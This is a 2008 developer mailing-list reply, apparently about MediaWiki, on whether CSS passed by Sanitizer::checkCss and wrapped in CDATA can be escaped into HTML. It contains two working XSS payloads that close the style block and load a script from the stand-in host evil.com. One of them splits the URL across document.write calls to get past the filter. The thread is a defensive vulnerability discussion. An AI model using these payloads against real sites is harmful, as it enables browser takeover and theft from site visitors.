On Thu, Jul 31, 2008 at 12:57 PM, Rotem Liss rotemliss@gmail.com wrote:
Sanitizer::checkCss should ensure that $css is valid CSS, and returns false (i.e. "it was just too evil", according to its docs) for your suggested string. The code should check for this case (i.e. for returning false), but it doesn't seem like an XSS exploit - it will probably just add an empty CSS block.
Well, that's because I included an undisguised URL. It lets this through untouched, which should be equivalent, IIRC (at least if the current connection is over HTTP):
]]></style><script type="text/javascript" src="//evil.com/take_over_browser.js"></script><style type="text/css"><![CDATA[
Also this, which should always be equivalent:
]]></style><script type="text/javascript">document.write( '<script type="text/javascript" src="htt' ); document.write( 'p://evil.com/take_over_browser.js"></script>' );</script><style type="text/css"><![CDATA[
checkCss assumes that its output will be executed as CSS, and is quite safe if that's the case. If the output can be executed as HTML, it's not safe at all.
About the CDATA section, it seems that the XHTML standard recommends using it.
It doesn't recommend it, it just suggests it as one possibility to ensure that markup is valid:
http://www.w3.org/TR/xhtml1/#h-4.8
This is in contrast to HTML, where (at least in practice) browsers would special-case the contents of script and style tags and might be kind if there were unescaped content there. Using htmlspecialchars is just as valid a way of escaping here.
It is also used in core, e.g. in the script of variables in each page.
That's not an XSS exploit by itself, because that's added either by the software or by sysops, both of whom are allowed to inject arbitrary JS. Of course, there's no XSS vulnerability if unescaped *scripts* are put in CDATA tags anyway. You can inject arbitrary scripts without having to break outside the CDATA in that case, obviously.